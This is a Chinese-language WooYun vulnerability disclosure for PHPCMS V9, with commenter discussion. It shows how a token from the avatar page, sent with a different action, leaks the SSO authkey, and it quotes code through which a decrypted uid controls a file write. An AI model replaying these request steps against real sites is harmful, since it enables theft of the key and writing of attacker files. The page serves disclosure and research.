漏洞概要
关注数(24)
关注此漏洞
漏洞标题:PHPCMS V9 一个为所欲为的漏洞
提交时间:2014-06-27 11:12
修复时间:2014-09-22 11:14
公开时间:2014-09-22 11:14
漏洞类型:非授权访问/权限绕过
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-07-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-26: 细节向核心白帽子及相关领域专家公开
2014-09-05: 细节向普通白帽子公开
2014-09-15: 细节向实习白帽子公开
2014-09-22: 细节向公众公开
简要描述:
不知道怎么形容这个漏洞,反正大部分情况下可以做的事情很多了。
官网注册不上,所以无法官网演示。
详细说明:
安装phpcms的时候会强制安装它的通行证。
phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码
cache里是什么内容呢,我们自己去看一下文件:
所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。
GET全付给POST
ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。
注册登录后访问
http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1
查看源文件:
拿到这个:
aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==
解除base64_decode编码得
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
将url里的uploadavatar换成:getapplist得:
http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
访问得:
a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}
和我们想的一样,authkey在里面:
s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"
拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。
举个例子:
/phpcms/phpsso_server/phpcms/modules/phpsso/index.php
内:
public function uploadavatar()
写的
$this->uid = $this->data['uid']; //uid来自解密出来的uid
$this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容
……
$dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';
//目录名里引用了来自解密内容的uid
……
$filename = $dir.'180x180.jpg';
//文件名又来自引用了解密uid内容的$dir变量
$fp = fopen($filename, 'w');
fwrite($fp, $this->avatardata);
fclose($fp);
文件写入了,反正是想做什么做什么。
漏洞证明:
修复方案:
不要过分信任自己的加密解密机制,要小心处理每个过程。
版权声明:转载请注明来源 Map@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-09-22 11:14
厂商回复:
最新状态:
暂无
漏洞评价:
评论
-
2014-06-27 11:13 |
围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
-
2014-06-27 11:15 |
小川 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)
-
2014-06-27 11:16 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
-
2014-06-27 11:19 |
Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )
-
2014-06-27 11:30 |
quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)
官网注册不上,所以无法官网演示。phpcms:评分5分
-
2014-06-27 11:36 |
magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)
-
2014-06-27 11:41 |
mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )
-
2014-06-27 11:49 |
hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)
为所欲为 是什么姿势。就是所有姿势想上就上是吧!!!!
-
2014-06-27 11:58 |
Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
-
2014-06-27 14:28 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
-
2014-06-27 15:45 |
zeracker ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)
-
2014-06-27 16:44 |
李白 ( 普通白帽子 | Rank:142 漏洞数:29 )
-
2014-06-27 16:48 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
打雷啦~下雨啦~收衣服啦~洞主我觉得咱俩要悲剧了 phpcms是不来认领的节奏啊,双倍rank和WB就要擦肩而过了
-
2014-06-27 17:02 |
Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)
-
2014-06-27 17:26 |
luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)
-
2014-06-27 17:29 |
f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)
-
2014-07-02 12:47 |
M0nster ( 实习白帽子 | Rank:53 漏洞数:17 | 允许我国的艺术家先富起来)
-
2014-07-02 13:40 |
quanxian ( 实习白帽子 | Rank:32 漏洞数:2 | This is QuanXian.)
-
2014-07-02 13:54 |
zeracker ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)
-
2014-07-02 14:36 |
Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)
-
2014-07-02 17:15 |
从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)
-
2014-07-02 19:29 |
楼下小黑 ( 路人 | Rank:0 漏洞数:1 | 高智商白痴)
-
2014-07-02 20:54 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
果然悲剧了。。。一起@疯狗@xsser求补rank吧
-
2014-07-02 21:07 |
鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)
-
2014-07-03 00:58 |
秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
-
貌似洞主提的“解密出来的东西不受控制,可以包含null截断,也可以包含单双引号” 有点点问题。因为解密用到了parse_str() 不知道洞主当时有没有测试 :)
-
2014-07-11 13:02 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
@乌云合作伙伴-知道创宇 漏洞还没有公开呢。。这么点出来真的好么。。
-
@索马里的海贼 你知道我说的啥?这个和漏洞没有关系,只是漏洞利用有关
-
2014-07-11 15:11 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
@乌云合作伙伴-知道创宇 唉。。phpcms用到parse_str的地方不超过15处 再加上前面那句“解密出来的东西不受控制”,可以联想到前面有解密函数,大概翻一下源码有3个地方,分别是两处sys_auth和一处uc的authcode。sys_auth正好我发的漏洞分析过了。uc这个当时没注意 是不是UC_KEY没初始化呢,或者洞主跟我一样有特别的方法搞到sys_auth的key了呢,再深挖一下也许就有眉目了哦。。。当然以上仅为不负责任的猜测。所以你看,还是能联想到不少东西的。
-
2014-07-11 16:29 |
Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)
@乌云合作伙伴-知道创宇 你说的对,其实发完当时我就觉得自己错了,parse_str应该也是首先受该服务器的magic_quote_gpcs的影响的,如果当magic_quote_gpcs为off的情况下,包含'\是没有问题的,但是为on的话,应当是被转义的
-
2014-07-11 16:33 |
Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)
@乌云合作伙伴-知道创宇 如果我理解上有什么问题,欢迎亲和我分享一下你的东西,我确实很多地方不足也挺表面,谢谢。另外也谢谢@索马里的海贼
-
@Map 一看洞主发的那些漏洞,就知道水平很牛啊!大家多交流 :)
-
2014-07-14 23:24 |
只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)
-
2014-07-14 23:24 |
只发通用型 ( 实习白帽子 | Rank:93 漏洞数:14 | 刷通用型奖金小号)
-
2014-07-14 23:32 |
从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)
-
2014-07-25 13:56 |
索马里的海贼 ( 普通白帽子 | Rank:254 漏洞数:24 | http://tieba.baidu.com/f?kw=WOW)
@乌云合作伙伴-知道创宇 看到详情了 果然和我29楼说的一样 所以对你那句“你知道我说的啥?” 我现在可以说了 "YES I DO " 你的能力分析不出来不代表别人分析不出来 别整天一副盛气凌人的样子
-
2014-07-29 11:24 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
-
@索马里的海贼 汗~~ 好吧你如果觉得我回复的语气太“盛气凌人”不好,那我道歉吧!@只发通用型 你猜?
-
2014-07-30 13:37 |
Fireweed ( 普通白帽子 | Rank:107 漏洞数:14 | Show me the #)
-
2014-08-21 14:59 |
kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
$filename那个地方无法截断。不知道是不是我太菜了还是误报?
-
2014-08-21 15:16 |
Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)
@kimdle 这个问题前面我和知道创宇已经讨论过了,但是你可以找到可用的地方。
-
2014-08-24 10:17 |
游戏 ( 路人 | Rank:2 漏洞数:1 | 一个大白菜)
-
2014-08-27 09:07 |
kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)
-
2014-09-19 21:08 |
YHHK ( 路人 | Rank:22 漏洞数:5 | love hacker!love technology!)
-
2014-09-22 13:45 |
小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部!)
-
2014-11-30 18:01 |
消逝文字 ( 路人 | Rank:3 漏洞数:2 | 永久的菜鸟一枚)
-
2015-06-29 21:27 |
Q1NG ( 实习白帽子 | Rank:93 漏洞数:16 | 临 兵 斗 者 皆 阵 列 前 行 !)
-
2015-08-05 16:15 |
Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)
-
2015-08-05 16:16 |
Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)
@消逝文字 很多加密函数跟key有关,比如cookie